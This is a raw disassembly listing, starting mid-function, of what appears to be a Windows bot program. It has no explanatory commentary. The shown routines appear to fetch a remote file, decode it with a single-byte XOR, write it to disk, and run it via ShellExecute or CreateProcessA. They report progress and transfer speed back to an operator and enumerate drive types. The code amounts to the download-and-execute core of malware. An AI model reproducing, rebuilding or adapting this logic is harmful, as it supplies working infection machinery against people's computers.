		jge	short loc_40B856
		mov	[ebp+var_4], eax


loc_40B856:				; CODE XREF: sub_40B61A+237j
		push	edi
		lea	eax, [ebp+var_A04]
		push	esi
		push	eax
		call	sub_415390
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		call	dword_4210AC	; SetFilePointer
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		call	dword_421068	; ReadFile
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	dword_43C5A4
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	dword_43C56C
		cmp	eax, ebx
		jl	loc_40B97B
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_40B97B
		sub	[ebp+arg_0], eax
		jnz	loc_40B849
		mov	edi, [ebp+var_18]


loc_40B8E6:				; CODE XREF: sub_40B61A+224j
		push	[ebp+var_8]
		call	dword_42106C	; CloseHandle
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_40C10D
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		push	[ebp+var_44]
		call	dword_43C5E0
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42BC08
		push	eax
		call	sub_415316


loc_40B91F:				; CODE XREF: sub_40B61A+1DCj
		add	esp, 14h


loc_40B922:				; CODE XREF: sub_40B61A+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_40B947
		push	esi
		lea	eax, [ebp+var_3FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_412BD1
		add	esp, 14h


loc_40B947:				; CODE XREF: sub_40B61A+30Bj
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_40B078
		cmp	edi, esi
		pop	ecx
		jbe	short loc_40B95F
		push	edi
		call	dword_43C5EC


loc_40B95F:				; CODE XREF: sub_40B61A+33Cj
		push	[ebp+var_1F8]
		call	dword_43C5EC
		push	[ebp+var_58]
		call	sub_4150F0
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread


loc_40B97B:				; CODE XREF: sub_40B61A+2AFj
					; sub_40B61A+2BAj
		push	esi
		mov	esi, offset dword_42BBDC
		push	[ebp+var_54]
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+var_1FC]
		call	sub_412BD1
		push	esi
		call	sub_40B078
		add	esp, 18h
		push	[ebp+var_1F8]
		call	dword_43C5EC
		push	[ebp+var_58]
		call	sub_4150F0
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
sub_40B61A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9BC	proc near		; DATA XREF: sub_40CD3A+77Co

var_14C4	= byte ptr -14C4h
var_4C4		= byte ptr -4C4h
var_2C4		= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_415B90
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		xor	esi, esi
		xor	ebx, ebx
		inc	esi
		push	104h
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	[ebp+var_8], ebx
		call	dword_421058	; GetSystemDirectoryA
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_415316
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	dword_421078	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BA46
		push	offset dword_42BE50
		jmp	short loc_40BA8C
; ---------------------------------------------------------------------------


loc_40BA46:				; CODE XREF: sub_40B9BC+81j
		push	eax
		call	dword_42106C	; CloseHandle
		lea	eax, [ebp+var_2C4]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_415A08
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_40BA6E
		push	offset dword_42BE0C
		jmp	short loc_40BA8C
; ---------------------------------------------------------------------------


loc_40BA6E:				; CODE XREF: sub_40B9BC+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_40B3D3
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_40BA9F
		push	offset dword_42BDD8


loc_40BA8C:				; CODE XREF: sub_40B9BC+88j
					; sub_40B9BC+B0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx
		jmp	loc_40BB99
; ---------------------------------------------------------------------------


loc_40BA9F:				; CODE XREF: sub_40B9BC+C9j
		mov	esi, 1000h


loc_40BAA4:				; CODE XREF: sub_40B9BC+14Ej
		push	esi
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43C56C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40BB6B
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40BB0C
		push	[ebp+var_4]
		lea	eax, [ebp+var_14C4]
		push	edi
		push	1
		push	eax
		call	sub_41761F
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	dword_43C550
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43C5A4
		jmp	short loc_40BAA4
; ---------------------------------------------------------------------------


loc_40BB0C:				; CODE XREF: sub_40B9BC+118j
		lea	eax, [ebp+var_4C4]
		push	offset dword_42BBDC
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_412BD1
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40B078
		push	[ebp+var_4]
		call	sub_415960
		add	esp, 24h
		push	[ebp+arg_0]
		call	dword_43C5EC
		push	[ebp+var_1C]
		call	sub_4150F0
		pop	ecx
		push	1
		call	dword_421048	; ExitThread


loc_40BB6B:				; CODE XREF: sub_40B9BC+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40C10D
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	offset dword_42BD80
		push	eax
		call	sub_415316
		add	esp, 1Ch


loc_40BB99:				; CODE XREF: sub_40B9BC+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_40BBBE
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_412BD1
		add	esp, 14h


loc_40BBBE:				; CODE XREF: sub_40B9BC+1E0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40B078
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_40BBD9
		push	[ebp+var_4]
		call	sub_415960
		pop	ecx


loc_40BBD9:				; CODE XREF: sub_40B9BC+212j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_40BBE7
		push	[ebp+arg_0]
		call	dword_43C5EC


loc_40BBE7:				; CODE XREF: sub_40B9BC+220j
		push	[ebp+var_1C]
		call	sub_4150F0
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
sub_40B9BC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BBF7	proc near		; DATA XREF: sub_40CD3A+3646o
					; sub_40CD3A+3DA2o

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		rep movsd
		xor	edi, edi
		xor	esi, esi
		inc	edi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_43C504
		call	dword_43C464
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_40C070
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		call	dword_421078	; CreateFileA
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_40BCBE
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42C11C
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40BCA1
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412BD1
		add	esp, 14h


loc_40BCA1:				; CODE XREF: sub_40BBF7+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B078
		push	[ebp+var_48]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread


loc_40BCBE:				; CODE XREF: sub_40BBF7+68j
		xor	edi, edi
		call	dword_42104C	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_415BE9
		pop	ecx
		mov	[ebp+var_1C], eax


loc_40BCD8:				; CODE XREF: sub_40BBF7+1A9j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_43C46C
		cmp	[ebp+var_34], esi
		jz	short loc_40BD1C
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40C0D6
		pop	ecx
		pop	ecx


loc_40BD1C:				; CODE XREF: sub_40BBF7+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	dword_421070	; WriteFile
		cmp	edi, ebx
		jnb	short loc_40BD5A
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40BD44
		mov	eax, [ebp+arg_0]


loc_40BD44:				; CODE XREF: sub_40BBF7+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_4153F0
		add	esp, 0Ch


loc_40BD5A:				; CODE XREF: sub_40BBF7+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_40BD67
		cmp	edi, [ebp+var_3C]
		ja	short loc_40BDA6


loc_40BD67:				; CODE XREF: sub_40BBF7+169j
		mov	eax, edi
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_4414C8
		cmp	[ebp+var_44], 1
		jz	short loc_40BD8F
		push	offset unk_42C0D0
		jmp	short loc_40BD94
; ---------------------------------------------------------------------------


loc_40BD8F:				; CODE XREF: sub_40BBF7+18Fj
		push	offset unk_42C088


loc_40BD94:				; CODE XREF: sub_40BBF7+196j
		push	eax
		call	sub_415316
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_40BCD8


loc_40BDA6:				; CODE XREF: sub_40BBF7+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_40BDFB
		cmp	edi, [ebp+var_3C]
		jz	short loc_40BDFB
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_42C040
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412BD1
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B078
		add	esp, 28h


loc_40BDFB:				; CODE XREF: sub_40BBF7+1B9j
					; sub_40BBF7+1BEj
		call	dword_42104C	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	dword_42106C	; CloseHandle
		push	[ebp+var_1C]
		call	sub_415C9B
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_40BE85
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40B363
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_40BE85
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42C004
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412BD1
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B078
		add	esp, 28h


loc_40BE85:				; CODE XREF: sub_40BBF7+236j
					; sub_40BBF7+248j
		cmp	[ebp+var_14], esi
		jz	loc_40C0BD
		cmp	[ebp+var_44], 1
		push	ecx
		lea	eax, [ebp+var_148]
		push	ecx
		jz	loc_40BF80
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_421660
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_421660
		fstp	[esp+590h+var_590]
		push	offset unk_42BFB8
		push	eax
		call	sub_415316
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40BF00
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412BD1
		add	esp, 14h


loc_40BF00:				; CODE XREF: sub_40BBF7+2E7j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B078
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_40C0BD
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_43C4C8
		cmp	[ebp+var_30], esi
		jnz	loc_40C0BD
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_42BF7C
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412BD1
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B078
		add	esp, 24h
		jmp	loc_40C0BD
; ---------------------------------------------------------------------------


loc_40BF80:				; CODE XREF: sub_40BBF7+2A3j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_421660
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_421660
		fstp	[esp+590h+var_590]
		push	offset unk_42BF28
		push	eax
		call	sub_415316
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40BFE0
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412BD1
		add	esp, 14h


loc_40BFE0:				; CODE XREF: sub_40BBF7+3C7j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B078
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_415390
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415390
		add	esp, 1Ch
		lea	eax, [ebp+var_10]
		mov	[ebp+var_310], edi
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		inc	edi
		push	eax
		push	esi
		mov	[ebp+var_304], offset byte_43B188
		mov	[ebp+var_2E4], edi
		mov	[ebp+var_2E0], si
		call	dword_4210EC	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_40C062
		call	dword_43C4B4
		call	sub_409D34
		push	esi
		call	dword_421114	; ExitProcess


loc_40C062:				; CODE XREF: sub_40BBF7+457j
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_42BED8
		jmp	short loc_40C07C
; ---------------------------------------------------------------------------


loc_40C070:				; CODE XREF: sub_40BBF7+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42BE94


loc_40C07C:				; CODE XREF: sub_40BBF7+477j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40C0B0
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412BD1
		add	esp, 14h


loc_40C0B0:				; CODE XREF: sub_40BBF7+497j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B078
		pop	ecx


loc_40C0BD:				; CODE XREF: sub_40BBF7+291j
					; sub_40BBF7+31Aj ...
		push	[ebp+var_18]
		call	dword_43C588
		push	[ebp+var_48]
		call	sub_4150F0
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
sub_40BBF7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40C0D6	proc near		; CODE XREF: sub_40BBF7+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_40C0F2


loc_40C0E2:				; CODE XREF: sub_40C0D6+1Aj
		mov	dl, byte_42C260
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_40C0E2

locret_40C0F2:				; CODE XREF: sub_40C0D6+Aj
		retn
sub_40C0D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C0F3	proc near		; CODE XREF: sub_40CD3A+2878p
					; sub_40CD3A+29E5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_417729
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40C0F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C10D	proc near		; CODE XREF: sub_4062F7+462p
					; sub_4062F7+5FEp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_440910
		push	0
		push	edi
		call	sub_415390
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_40C132:				; CODE XREF: sub_40C10D+5Bj
					; sub_40C10D+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_417100
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_417180
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_40C170
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_40C132
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_40C132
; ---------------------------------------------------------------------------


loc_40C170:				; CODE XREF: sub_40C10D+4Bj
		mov	eax, edi
		jmp	short loc_40C179
; ---------------------------------------------------------------------------


loc_40C174:				; CODE XREF: sub_40C10D+72j
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax


loc_40C179:				; CODE XREF: sub_40C10D+65j
		dec	esi
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jnb	short loc_40C174
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C10D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C18B	proc near		; CODE XREF: sub_40C337+51p
					; sub_40C337+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43C5B4
		sub	eax, 0
		jz	short loc_40C1CE
		dec	eax
		jz	short loc_40C1C8
		dec	eax
		dec	eax
		jz	short loc_40C1C2
		dec	eax
		jz	short loc_40C1BC
		dec	eax
		jz	short loc_40C1B6
		dec	eax
		jz	short loc_40C1B0
		mov	eax, offset word_42B864
		retn
; ---------------------------------------------------------------------------


loc_40C1B0:				; CODE XREF: sub_40C18B+1Dj
		mov	eax, offset aRam ; "RAM"
		retn
; ---------------------------------------------------------------------------


loc_40C1B6:				; CODE XREF: sub_40C18B+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_40C1BC:				; CODE XREF: sub_40C18B+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_40C1C2:				; CODE XREF: sub_40C18B+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_40C1C8:				; CODE XREF: sub_40C18B+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_40C1CE:				; CODE XREF: sub_40C18B+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_40C18B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C1D4	proc near		; CODE XREF: sub_40C21C+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_43C450
		test	eax, eax
		jz	short loc_40C209
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_40C209:				; CODE XREF: sub_40C1D4+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40C1D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C21C	proc near		; CODE XREF: sub_40A9D8+1F3p
					; sub_40C337+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40C1D4
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C2F4
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C2F4
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C2F4
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_417770
		push	edx
		push	eax
		call	sub_40C10D
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41588A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_417770
		push	edx
		push	eax
		call	sub_40C10D
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41588A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_417770
		push	edx
		push	eax
		call	sub_40C10D
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41588A
		add	esp, 18h
		pop	ebx
		jmp	short loc_40C323
; ---------------------------------------------------------------------------


loc_40C2F4:				; CODE XREF: sub_40C21C+2Cj
					; sub_40C21C+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_415316
		add	esp, 18h


loc_40C323:				; CODE XREF: sub_40C21C+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40C21C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C337	proc near		; CODE XREF: sub_40C409+17p
					; sub_40C409+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_40C21C
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_415730
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40C3AA
		push	ebx
		push	ebx
		call	sub_40C18B
		pop	ecx
		push	eax
		push	offset dword_42C1E8
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41588A
		add	esp, 14h
		jmp	short loc_40C3DE
; ---------------------------------------------------------------------------


loc_40C3AA:				; CODE XREF: sub_40C337+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_40C18B
		pop	ecx
		push	eax
		push	offset dword_42C198
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41588A
